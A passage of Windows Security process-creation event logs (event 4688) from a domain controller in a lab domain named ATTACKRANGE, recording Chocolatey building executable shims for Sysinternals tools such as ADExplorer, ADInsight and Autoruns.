disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246331 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADInsight64.exe" --output="C:\ProgramData\chocolatey\bin\ADInsight64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADInsight64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246330 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAF17.tmp" "c:\ProgramData\chocolatey\bin\CSC9EEF5E31C34E4784998FFAA391DB11B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd30 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe78 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADInsight.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe78 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246326 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe78 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADInsight.exe" --output="C:\ProgramData\chocolatey\bin\ADInsight.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADInsight.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246325 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAE1D.tmp" "c:\ProgramData\chocolatey\bin\CSCC2444FFED2404D9CB6F4E19544BE1D4D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246324 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246323 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf40 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADExplorer64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246322 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf40 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246321 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf40 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADExplorer64.exe" --output="C:\ProgramData\chocolatey\bin\ADExplorer64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADExplorer64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAD33.tmp" "c:\ProgramData\chocolatey\bin\CSC73DAC4D8E45344358AD467EFEC6C3AA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246319 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246318 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x384 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x290 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADExplorer.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246362 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x82c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246361 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autoruns64.exe" --output="C:\ProgramData\chocolatey\bin\Autoruns64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autoruns64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb50 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB447.tmp" "c:\ProgramData\chocolatey\bin\CSC6CF321367DC143F2B828E1399457ED3A.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246359 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb50 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: 